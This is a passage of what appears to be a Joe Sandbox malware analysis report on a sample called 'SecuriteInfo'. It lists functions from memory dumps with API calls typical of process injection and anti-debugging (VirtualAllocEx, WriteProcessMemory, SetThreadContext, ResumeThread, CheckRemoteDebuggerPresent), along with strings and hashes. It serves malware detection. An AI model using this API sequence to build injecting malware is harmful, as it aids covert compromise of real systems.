Instruction Fuzzy Hash: 3341CAB8D002589FCF04CFA9D984ADEFBF1BB49314F14942AE818B7250D739AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014A97B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 014A986A

Strings

U, xrefs: 014A97B5
QS9t, xrefs: 014A97DA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID: QS9t$U
API String ID: 1726664587-1032977552
Opcode ID: 8a378ae412f776a862bfa8d76b15852ed6f6190ab0d4faaa88bd1bbdbe613faf
Instruction ID: 40c4723b2747d0e72684087c2cb0096800c13c298393bd86a11d25fc3f83f5e9
Opcode Fuzzy Hash: 8a378ae412f776a862bfa8d76b15852ed6f6190ab0d4faaa88bd1bbdbe613faf
Instruction Fuzzy Hash: CC41B9B9D00258DFCF00CFA9D880AEEFBB5BB19314F14942AE815B7210D735A945CF68

Uniqueness

Uniqueness Score: -1.00%

Function 014A9320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 014A93A6

Strings

QS9t, xrefs: 014A9342
U, xrefs: 014A9325

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID: QS9t$U
API String ID: 947044025-1032977552
Opcode ID: ac26bedcfc51ba35578ecb88b1ee32ec014ee22d6677928dc23f41622388bf15
Instruction ID: 2aa78707ffaf0b1b14779d887f2af317063e5de86e5ca1d779f6624104e2fdae
Opcode Fuzzy Hash: ac26bedcfc51ba35578ecb88b1ee32ec014ee22d6677928dc23f41622388bf15
Instruction Fuzzy Hash: 6D31ECB4D002189FCF14CFA9D884ADEFBB5AF49318F14942AE818B7350CB79A901CF94

Uniqueness

Uniqueness Score: -1.00%

Function 014A9660 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 014A9733

Strings

QS9t, xrefs: 014A9682

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: QS9t
API String ID: 3559483778-1709383597
Opcode ID: 723f840f6bcb7e4ac10767663f766613139bc58cfe1d25f5dbdb4f9b54186665
Instruction ID: d98b831c633fca9db2920a59e2bf2fa94dd5a1b49ec109e726328fdc1ee16dbe
Opcode Fuzzy Hash: 723f840f6bcb7e4ac10767663f766613139bc58cfe1d25f5dbdb4f9b54186665
Instruction Fuzzy Hash: D641AAB8D002589FCF00CFA9D984ADEFBF5BB49314F14942AE818B7250D734AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014A97B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 014A986A

Strings

QS9t, xrefs: 014A97DA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID: QS9t
API String ID: 1726664587-1709383597
Opcode ID: 1f676a5a4843156f6f33a13577163cca196d7ae6b4b0b6d2e1a8eca99083748e
Instruction ID: 9b6781bdc3b379fba414882deb56deb9f3ce92a532243d8cc4a9cc3d159d264c
Opcode Fuzzy Hash: 1f676a5a4843156f6f33a13577163cca196d7ae6b4b0b6d2e1a8eca99083748e
Instruction Fuzzy Hash: 7841B8B8D00258DFCF00CFAAD880AEEFBB5BB09314F14942AE814B7210C734A945CF68

Uniqueness

Uniqueness Score: -1.00%

Function 014A9539 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 014A95EA

Strings

QS9t, xrefs: 014A955A

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID: QS9t
API String ID: 4275171209-1709383597
Opcode ID: f3c45b0915fd4ba981bcd6839da3ccdba2291e4c2f8b6b4b2319d537b9c92e48
Instruction ID: 54c2816fe6276c816a26dc17ecc4491495ec8fe3832454d730b6af390f40363a
Opcode Fuzzy Hash: f3c45b0915fd4ba981bcd6839da3ccdba2291e4c2f8b6b4b2319d537b9c92e48
Instruction Fuzzy Hash: A441A8B9D00258DFCF14CFA9D880AEEFBB5BB59314F10942AE815B7210C735A946CF58

Uniqueness

Uniqueness Score: -1.00%

Function 014A9540 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 014A95EA

Strings

QS9t, xrefs: 014A955A

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID: QS9t
API String ID: 4275171209-1709383597
Opcode ID: a56d5ec697b164088c9462b8976e96f50c31be08bd52b7322517089815d16a9d
Instruction ID: 655d51c643a70ef6e6ae4f92ca679ad2deb6dfa26259b65c3f696163743e789f
Opcode Fuzzy Hash: a56d5ec697b164088c9462b8976e96f50c31be08bd52b7322517089815d16a9d
Instruction Fuzzy Hash: BD3197B9D002589FCF10CFA9D880ADEFBB5BB19314F10942AE819B7210D735A946CF58

Uniqueness

Uniqueness Score: -1.00%

Function 014A9410 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,?), ref: 014A94C7

Strings

QS9t, xrefs: 014A9437

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThread
String ID: QS9t
API String ID: 1591575202-1709383597
Opcode ID: e029c57df772103a59e5c2e2a5f05e8799b28f07e6a4324adaa36f8d492f208c
Instruction ID: be1ca5fc36a6b7e822a0625fb34f6ec4885801d8f5016347f69313cc9b890185
Opcode Fuzzy Hash: e029c57df772103a59e5c2e2a5f05e8799b28f07e6a4324adaa36f8d492f208c
Instruction Fuzzy Hash: 9141CBB5D002189FDB14CFE9D884AEEBBF5BB48314F14842AE418B7250D778A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 014A9418 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,?), ref: 014A94C7

Strings

QS9t, xrefs: 014A9437

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThread
String ID: QS9t
API String ID: 1591575202-1709383597
Opcode ID: dfe6d48f45f68dcd55471fff9f3bef24f8bfe688eb3db8e67c68811c8e7fbd34
Instruction ID: b6bd52280eb41cbfa15022b7c6b3d497784a2b2fbac35573e1fc4941e2618123
Opcode Fuzzy Hash: dfe6d48f45f68dcd55471fff9f3bef24f8bfe688eb3db8e67c68811c8e7fbd34
Instruction Fuzzy Hash: 0E31CAB4D002189FCB14CFAAD884AEEFBF5BB48318F14842AE418B7240C738A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 014AD999 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(?,?), ref: 014ADA39

Strings

QS9t, xrefs: 014AD9BA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: EnumWindows
String ID: QS9t
API String ID: 1129996299-1709383597
Opcode ID: 92877f5b1bdca1626f6be1c68629a6551d632dde03596073e02a834c339dd063
Instruction ID: 048f03a7ebc9c4eab42b3e128524a26c4425a3d8e76cc2cd6701ec0e9a1f40dc
Opcode Fuzzy Hash: 92877f5b1bdca1626f6be1c68629a6551d632dde03596073e02a834c339dd063
Instruction Fuzzy Hash: 7631DCB4D002189FDB14CFA9D884AEEFBB5BF5A314F10942AE805B7350C734A946CF98

Uniqueness

Uniqueness Score: -1.00%

Function 014AD9A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,?), ref: 014ADA39

Strings

QS9t, xrefs: 014AD9BA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: EnumWindows
String ID: QS9t
API String ID: 1129996299-1709383597
Opcode ID: b9ab80603815750126c69502cbe9b7aada28f62620570d27fcd84e3bbea24410
Instruction ID: 7891b47e4719ed66cb34fd15edd31581cdcd773c6f17df87d5c142009c859dd8
Opcode Fuzzy Hash: b9ab80603815750126c69502cbe9b7aada28f62620570d27fcd84e3bbea24410
Instruction Fuzzy Hash: 0131EBB4D002189FCB14CFA9D884AEEFBB5BF49314F10942AE805B7350C734A946CF98

Uniqueness

Uniqueness Score: -1.00%

Function 014AD5C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 014AD65E

Strings

QS9t, xrefs: 014AD5EF

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: QS9t
API String ID: 3662101638-1709383597
Opcode ID: d942c3e41f16ed32be07209fad33b550cd669387350f07816d3a0681e1dae9fc
Instruction ID: 96244c7acfcb2ab1f6b81c5f985dcbe0d1b2b3da218f68a1ce433a9d0392283c
Opcode Fuzzy Hash: d942c3e41f16ed32be07209fad33b550cd669387350f07816d3a0681e1dae9fc
Instruction Fuzzy Hash: A931CAB4D002189FCB14CFE9D880ADEFBF5BB48314F50842AE808B7210C775A9458F94

Uniqueness

Uniqueness Score: -1.00%

Function 014A9328 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 014A93A6

Strings

QS9t, xrefs: 014A9342

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID: QS9t
API String ID: 947044025-1709383597
Opcode ID: 545a5a211cc100ee6b28d17db510bec771e3f0598033a93a74d5578dccbc0fe3
Instruction ID: f130fe9c2d5fdd19def8c2503f30e68d4fe8df948b3f004432e4c4cd6a8f64dc
Opcode Fuzzy Hash: 545a5a211cc100ee6b28d17db510bec771e3f0598033a93a74d5578dccbc0fe3
Instruction Fuzzy Hash: B131AAB4D002189FCF14CFA9D884ADEFBB5AF49314F14942AE819B7350C775A945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 014AD6C9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 014AD74E

Strings

QS9t, xrefs: 014AD6ED

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: QS9t
API String ID: 2591292051-1709383597
Opcode ID: cc8fa908e9eb8b10a72328a2be3831f28aba6d5210747d12d4299c41d013517c
Instruction ID: 1bfda4f10d526b2dd3b2c949eca3dd8c179bac6bdb73ea42c6fcd0aae3ea07cb
Opcode Fuzzy Hash: cc8fa908e9eb8b10a72328a2be3831f28aba6d5210747d12d4299c41d013517c
Instruction Fuzzy Hash: 5B31ACB8D002189FCB14CFA9D884AEEFBF4BB49324F14902AE818B7350D775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 014AD6D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 014AD74E

Strings

QS9t, xrefs: 014AD6ED

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: QS9t
API String ID: 2591292051-1709383597
Opcode ID: 28ead3acfb3f646996398fd6bb303cfa67eb9bcdf3362037e7df699654b15269
Instruction ID: 07f10fa65b512e9907a178c250a6bd64e6074095290b424c0168b6a014bab8af
Opcode Fuzzy Hash: 28ead3acfb3f646996398fd6bb303cfa67eb9bcdf3362037e7df699654b15269
Instruction Fuzzy Hash: 2A21BBB8D002189FCB14CFA9D984ADEFBF4BB09324F14942AE818B3310D775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0145D01C Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431027520.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_145d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d19739ebd24fd92f09907319d3c078b3a96618f861081b78242f655fd59b19
Instruction ID: 9d1fe310df796bbd6360f3548786b8268193b482893320c328a2cc9752731b01
Opcode Fuzzy Hash: 61d19739ebd24fd92f09907319d3c078b3a96618f861081b78242f655fd59b19
Instruction Fuzzy Hash: C521F2B09042449FDB54DFA4D9C4B26BBA9FF84A58F20C96AE80A4B353C336D847C661

Uniqueness

Uniqueness Score: -1.00%

Function 0145D005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431027520.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_145d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c594ff78b8faeaf1e41c4f18a6878c41e48f21f152f271abbc085b2cd756ed
Instruction ID: 91d252226e5428228813d26a3dad48ad77b05181ba2e6b481c86953f2614e1d5
Opcode Fuzzy Hash: 22c594ff78b8faeaf1e41c4f18a6878c41e48f21f152f271abbc085b2cd756ed
Instruction Fuzzy Hash: 1F219F715093C08FDB12DF24D594B15BF71AF46614F28C5EBD8498B6A3C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 014A4F68 Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

Cx~H, xrefs: 014A4FF5
Cx~H, xrefs: 014A4FEE
Cx~H, xrefs: 014A5013

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Cx~H$Cx~H$Cx~H
API String ID: 0-43860315
Opcode ID: 6f09a331ff883ed960e9cb016b0ace8acea45bb4aac4fa49b10577a58f396e33
Instruction ID: 65ab9328221d6d8af6d0eb920611978a0412f1d48a62324b26db6ee378e8964d
Opcode Fuzzy Hash: 6f09a331ff883ed960e9cb016b0ace8acea45bb4aac4fa49b10577a58f396e33
Instruction Fuzzy Hash: E671F2B4D0420ADFCB04CF99C5849AEFBF6FF69210F59941AE415AB324D730A982CF95

Uniqueness

Uniqueness Score: -1.00%

Function 014A4F58 Relevance: 3.9, Strings: 3, Instructions: 157COMMON

Download Yara Rule

Strings

Cx~H, xrefs: 014A4FF5
Cx~H, xrefs: 014A4FEE
Cx~H, xrefs: 014A5013

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Cx~H$Cx~H$Cx~H
API String ID: 0-43860315
Opcode ID: bde8ff995fa1a3c809c08c30f31388f7eeeb6df406bcc82da3d5ffb00fef4d6f
Instruction ID: d89a2dbde012357ba91dc738043e6792254928835894b0a57d6d3186001757a3
Opcode Fuzzy Hash: bde8ff995fa1a3c809c08c30f31388f7eeeb6df406bcc82da3d5ffb00fef4d6f
Instruction Fuzzy Hash: 0161F574E0420ADFCB04CF99C5849AEFBF2FF69210F59955AE415AB314D370A982CF91

Uniqueness

Uniqueness Score: -1.00%

Function 014AC902 Relevance: 3.1, Strings: 2, Instructions: 637COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014ACD32
QS9t, xrefs: 014ACD55

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: 7bebdddd8e0dd05fef2eedac8468336d5e030ad2dbd3d0b53c0e52ffe2420a5a
Instruction ID: 500fea395814aaec15a4ba348f31e5cb8f6ac7583a52db67c42c36f040678e38
Opcode Fuzzy Hash: 7bebdddd8e0dd05fef2eedac8468336d5e030ad2dbd3d0b53c0e52ffe2420a5a
Instruction Fuzzy Hash: F1815870C093988FCB12CFA8C8947DEBFB1FF06314F1585AAD445AB2A2DB74584ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 014AD3CC Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014AD40A
QS9t, xrefs: 014AD42D

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: 1855821db392e93604a7d34e63c52f7cd343f39437ee66b0fd49b8d1bc10801c
Instruction ID: 5bab7750af20a308ba62a9e8e24031ad7575074705a2ca9df8f92b719e2f1258
Opcode Fuzzy Hash: 1855821db392e93604a7d34e63c52f7cd343f39437ee66b0fd49b8d1bc10801c
Instruction Fuzzy Hash: C8510FB4D002188FDB14CFE9D884BEEBBB1BB59314F24852AD815AB7A0DB749846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 014AD79D Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014AD7FD
QS9t, xrefs: 014AD7DA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: 8143b9471c7a0a97ef00aab6a57548a9b201dd08e3a03b36dcb1750343f9db8f
Instruction ID: 1bf7abab67d3242198a43a2ee3634fe382e54e2d2a7b1d144a3718a9d4a149b1
Opcode Fuzzy Hash: 8143b9471c7a0a97ef00aab6a57548a9b201dd08e3a03b36dcb1750343f9db8f
Instruction Fuzzy Hash: AB51F2B4D002188FDB14CFE9D884BEEBBB6BF49314F24852AD419AB7A0DB749845CF45

Uniqueness

Uniqueness Score: -1.00%

Function 014A6820 Relevance: 2.6, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014ACD32
QS9t, xrefs: 014ACD55

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: ae1967a6ba7b5c3c956b8f392bbb002778d10055ca8cd9c8804bc55193f248f2
Instruction ID: dab8b3d18a06bc3595f27e511a28382e75fc7488407f6651b8e09b29870c43a7
Opcode Fuzzy Hash: ae1967a6ba7b5c3c956b8f392bbb002778d10055ca8cd9c8804bc55193f248f2
Instruction Fuzzy Hash: 3D5100B4D00218CFDB54CFA9C884BDEBBB1BB59314F64852AE415BB360DB749846CF85

Uniqueness

Uniqueness Score: -1.00%

Function 014AD3D8 Relevance: 2.6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014AD40A
QS9t, xrefs: 014AD42D

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: edf2655b1a35738513b1d2545fb216331cef1ba0da711581de5e980fd3bb9c2b
Instruction ID: 4d71610efc25751741dd5eda7bb33329097c246d6c895796db60fa9745320156
Opcode Fuzzy Hash: edf2655b1a35738513b1d2545fb216331cef1ba0da711581de5e980fd3bb9c2b
Instruction Fuzzy Hash: D751F0B4D002188FDB14CFE9C884BDEBBB1BF59304F64952AE815AB7A0DB74A845CF45

Uniqueness

Uniqueness Score: -1.00%

Function 014AD7A8 Relevance: 2.6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

Strings

QS9t, xrefs: 014AD7FD
QS9t, xrefs: 014AD7DA

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QS9t$QS9t
API String ID: 0-2233947037
Opcode ID: 5a2b182c19e202f0f896f6b0296add067ac88a6d410ffe8b7284d2d408025b22
Instruction ID: 7268bad64687179732fa4c6fb438dbc517c0a0c67e22bffa058a89c1cc209ca9
Opcode Fuzzy Hash: 5a2b182c19e202f0f896f6b0296add067ac88a6d410ffe8b7284d2d408025b22
Instruction Fuzzy Hash: CD51F0B4D002188FDB14CFE9C884BDEBBB6BB49314F54852AE429AB7A0DB749845CF45

Uniqueness

Uniqueness Score: -1.00%

Function 014A525A Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

0grt, xrefs: 014A5469

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0grt
API String ID: 0-3600176201
Opcode ID: e58042a041b35b1209971e5b268c19b6e07e53b208c5c7fff2f2947b598890b4
Instruction ID: a05337999dd4e30cab433fb9c9b6671c58a1650f62780c8534bc72c66c42c01b
Opcode Fuzzy Hash: e58042a041b35b1209971e5b268c19b6e07e53b208c5c7fff2f2947b598890b4
Instruction Fuzzy Hash: D56134B5E0520ADFCB04CFAAC5805EEFBB1BF99300F55842AD515AB364D734AA42CF91

Uniqueness

Uniqueness Score: -1.00%

Function 014A040F Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

, xrefs: 014A04C6

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d731e6f6ae5143ef9e6f1b6b7b326f68cffcd9418eab02e09b01530b07338778
Instruction ID: a894e557c9b93656b6d375d08efb7b547cf662c749e21ae8d7de46d17e610be0
Opcode Fuzzy Hash: d731e6f6ae5143ef9e6f1b6b7b326f68cffcd9418eab02e09b01530b07338778
Instruction Fuzzy Hash: E3314DB1D007459FE759CF6B88446DABBB3AFD9340F08C0BAD808AA265DB3409468F11

Uniqueness

Uniqueness Score: -1.00%

Function 014A0448 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

, xrefs: 014A04C6

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e39d0f302dfa9a02eb03449a4345e73253bbd71b884f11f6a95c3c2969bd465b
Instruction ID: fb1119f769fb1260a3d83f923f46e406e15d96ed804d75ff8521a1ee49710248
Opcode Fuzzy Hash: e39d0f302dfa9a02eb03449a4345e73253bbd71b884f11f6a95c3c2969bd465b
Instruction Fuzzy Hash: 0821C1B5E006199BEB18CF6BD8406DEFBF7BFC8300F04C176D918A6268EB3015568E50

Uniqueness

Uniqueness Score: -1.00%

Function 014A43A0 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 698b4453778ceebbd2df13f52a9db0c55061a0d104f97ab35a5397ae44652a03
Instruction ID: cc2d71b67ad653aad53f28a8bdbb369ae7486c259012d79d41762f45c4c5dec9
Opcode Fuzzy Hash: 698b4453778ceebbd2df13f52a9db0c55061a0d104f97ab35a5397ae44652a03
Instruction Fuzzy Hash: 4471EE74E11219CFCB44CFA9D58499EBBF1FF88310F29816AE409AB324D374AA42CF54

Uniqueness

Uniqueness Score: -1.00%

Function 014A4390 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d022b332e5698b232af6142e5e8f02b85373425e28f98cfcb4e88ef78db2110
Instruction ID: 958963adb5f6f95f04f84f254b4b4a551eaba0e333a8f1b8c3b2ebaf7b24d592
Opcode Fuzzy Hash: 1d022b332e5698b232af6142e5e8f02b85373425e28f98cfcb4e88ef78db2110
Instruction Fuzzy Hash: C271E274E11219CFCB44CFA9D5849AEFBF1FF88310F29856AE405AB225D374AA42CF54

Uniqueness

Uniqueness Score: -1.00%

Function 014A5E85 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 764c9d3f32ee0cbe6b7eaaf6ad5e9266bf3133503dc30aedc0505ecbbb1d4d01
Instruction ID: 85c88f0679111579451aee34fefd2514c3c992a6d8eb7fe7bb5c89e243befffa
